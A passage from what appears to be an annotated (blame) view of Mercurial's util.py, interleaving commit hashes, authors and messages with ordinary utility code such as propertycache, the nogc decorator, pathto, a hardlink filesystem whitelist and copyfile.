Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1526 self.name = func.__name__ |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1527 def __get__(self, obj, type=None): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1528 result = self.func(obj) |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1529 self.cachevalue(obj, result) |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1530 return result |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
1531 |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1532 def cachevalue(self, obj, value): |
19951
d51c4d85ec23
spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents:
19852
diff
changeset
|
1533 # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
19845
a1237a4b437d
repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
19461
diff
changeset
|
1534 obj.__dict__[self.name] = value |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
1535 |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1536 def clearcachedproperty(obj, prop): |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1537 '''clear a cached property value, if one has been set''' |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1538 if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1539 del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
1540 |
7396
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1541 def increasingchunks(source, min=1024, max=65536): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1542 '''return no less than min bytes per chunk while data remains, |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1543 doubling min after each chunk until it reaches max''' |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1544 def log2(x): |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1545 if not x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1546 return 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1547 i = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1548 while x: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1549 x >>= 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1550 i += 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1551 return i - 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1552 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1553 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1554 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1555 for chunk in source: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1556 buf.append(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1557 blen += len(chunk) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1558 if blen >= min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1559 if min < max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1560 min = min << 1 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1561 nmin = 1 << log2(blen) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1562 if nmin > min: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1563 min = nmin |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1564 if min > max: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1565 min = max |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1566 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1567 blen = 0 |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1568 buf = [] |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1569 if buf: |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1570 yield ''.join(buf) |
526c40a74bd0
templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents:
7301
diff
changeset
|
1571 |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1572 def always(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1573 return True |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1574 |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1575 def never(fn): |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1576 return False |
724
1c0c413cccdd
Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents:
705
diff
changeset
|
1577 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1578 def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1579 """disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1580 |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1581 Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1582 container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1583 allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1584 no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1585 into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1586 containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1587 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1588 This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1589 CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1590 """ |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1591 def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1592 gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1593 gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1594 try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1595 return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1596 finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1597 if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1598 gc.enable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1599 return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1600 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1601 if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1602 # PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1603 nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1604 |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1605 def pathto(root, n1, n2): |
886
509de8ab6f31
Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents:
884
diff
changeset
|
1606 '''return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1607 root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1608 n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1609 n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1610 returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1611 |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1612 If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1613 relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1614 n2 should always be relative to root. |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1615 ''' |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1616 if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1617 return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1618 if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1619 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1620 return os.path.join(root, localpath(n2)) |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1621 n2 = '/'.join((pconvert(root), n2)) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1622 a, b = splitpath(n1), n2.split('/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1623 a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1624 b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1625 while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1626 a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1627 b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1628 b.reverse() |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1629 return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1630 |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1631 # the location of data files matching the source code |
37118
5be286db5fb5
procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37117
diff
changeset
|
1632 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1633 # executable version (py2exe) doesn't support __file__ |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1634 datapath = os.path.dirname(pycompat.sysexecutable) |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1635 else: |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1636 datapath = os.path.dirname(pycompat.fsencode(__file__)) |
30301
8321b083a83d
py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30265
diff
changeset
|
1637 |
22638
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1638 i18n.setdatapath(datapath) |
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1639 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1640 def checksignature(func): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1641 '''wrap a function with code to check for calling errors''' |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1642 def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1643 try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1644 return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1645 except TypeError: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1646 if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
7646 | 1647 raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1648 raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1649 |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1650 return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1651 |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1652 # a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1653 _hardlinkfswhitelist = { |
37382
de9f9f888900
util: whitelist apfs for hardlink support
Augie Fackler <augie@google.com>
parents:
37366
diff
changeset
|
1654 'apfs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1655 'btrfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1656 'ext2', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1657 'ext3', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1658 'ext4', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1659 'hfs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1660 'jfs', |
35511
d8f408d999f9
util: whitelist NTFS for hardlink creation (issue4580)
Matt Harbison <matt_harbison@yahoo.com>
parents:
35509
diff
changeset
|
1661 'NTFS', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1662 'reiserfs', |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1663 'tmpfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1664 'ufs', |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1665 'xfs', |
31598
32f09ead059b
util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents:
31594
diff
changeset
|
1666 'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1667 } |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1668 |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1669 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1670 '''copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1671 atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1672 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1673 checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1674 destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1675 repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1676 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1677 copystat and checkambig should be exclusive. |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1678 ''' |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1679 assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1680 oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1681 if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1682 if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1683 oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1684 unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1685 if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1686 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1687 # unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1688 try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1689 fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1690 except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1691 fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1692 if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1693 hardlink = False |
31577 | 1694 if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1695 try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1696 oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1697 return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1698 except (IOError, OSError): |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1699 pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1700 if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1701 os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1702 # copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1703 # for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1704 else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1705 try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1706 shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1707 if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1708 # copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1709 shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1710 else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1711 shutil.copymode(src, dest) |
29204
ce2d81aafbae
